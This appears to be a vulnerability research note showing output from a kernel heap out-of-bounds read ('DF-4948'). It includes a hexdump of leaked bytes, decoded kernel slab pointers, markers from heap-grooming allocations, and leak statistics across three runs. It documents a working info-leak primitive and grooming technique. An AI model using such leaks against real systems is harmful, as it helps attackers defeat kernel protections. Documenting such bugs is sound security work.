DF-4948 leak sample -- bytes disclosed past the 1024-byte ir_reply chunk (run 1).
First foreign offset 0x042e (70 bytes past the victim's 2048-class kmalloc chunk
end; ir_reply = chunk+80+900, chunk = 2048 bytes -> 1024-byte buffer ends at
offset ~1069 into the disclosure): kernel slab-linkage pointers of the adjacent
chunk (0xfffff8008dcf.... family), then per-2048-stride patterned neighbor
allocations ("DF4777MARK-" fragments from the live groom chunks, ~940 nonzero
bytes per 1024-byte block census in run.log).

  0420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 cf
  0430: 8d 00 f8 ff ff b8 43 16 4f 00 f8 ff ff a8 43 16   0xfffff8008dcfd0cf, 0xfffff8004f1643b8
  0440: 4f 00 f8 ff ff 50 c8 cf 8d 00 f8 ff ff 84 03 00   0xfffff8004f1643a8, 0xfffff8008dcfc850
  0450: 00 00 00 00 00 d4 cb cf 8d 00 f8 ff ff 00 04 00   0xfffff8008dcfcbd4
  0460: 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 03 00
  0470: 00 00 00 00 00 18 01 c6 00 00 00 00 00 44 46 34   "DF4..." marker start

3/3 runs: foreign-nonzero-byte count 6624 / 7167 / 7160, first foreign byte
consistently 0x042e, marker fragments 392 / 424 / 424.